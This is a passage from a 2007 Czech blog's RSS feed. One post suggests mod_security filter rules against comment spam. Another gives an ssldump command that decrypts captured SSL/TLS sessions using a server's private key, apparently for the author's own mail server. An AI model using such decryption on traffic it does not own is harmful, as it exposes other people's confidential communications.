Další využití mod_security je na snadě. Při psaní příspěvku jsem si vzpomněl na <a href="http://e-ott.info/">Vlastu</a>, kdy měl v komentářích na blogu snad desetkrát řetězec &#8222;Cheap phentermine….&#8220;. Přitom stačilo zapnout mod_security a dát do konfiguráku <em>SecFilter &#8222;Cheap phentermine&#8220;</em> nebo zakázat spamerského User-Agenta, případně znepřístupnit blok IP adres odkud jsou příspěvky rozesílány.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/03/21/apache-mod-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dumpování SSL session</title>
		<link>http://hodza.net/2007/02/02/dumpovani-ssl-session/</link>
		<comments>http://hodza.net/2007/02/02/dumpovani-ssl-session/#comments</comments>
		<pubDate>Fri, 02 Feb 2007 22:47:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=11</guid>
		<description><![CDATA[Někdy je zapotřebí DUMPovat SSLkové session. Přestože se považuji za velkého crackera a binárního schizofrenika , bez klíče se vám to prostě nepodaří. Dumpovat lze díky tomuto jednoduchému příklazu: # ssldump -d -A -k /etc/postfix/tls/private_key.pem -i eth1 -n host 195.39.10.7&#38; Nezapomeňte samozřejmně změnit IP adresu a privátní klíč.]]></description>
			<content:encoded><![CDATA[<p>Někdy je zapotřebí DUMPovat SSLkové session.  Přestože se považuji za velkého crackera <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  a binárního schizofrenika <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> , bez klíče se vám to prostě nepodaří. <span id="more-11"></span>Dumpovat lze díky tomuto jednoduchému příklazu:</p>
<p><code># ssldump -d -A -k /etc/postfix/tls/private_key.pem -i eth1 -n host 195.39.10.7&amp;</code></p>
<p>Nezapomeňte samozřejmně změnit IP adresu a privátní klíč.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/02/02/dumpovani-ssl-session/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
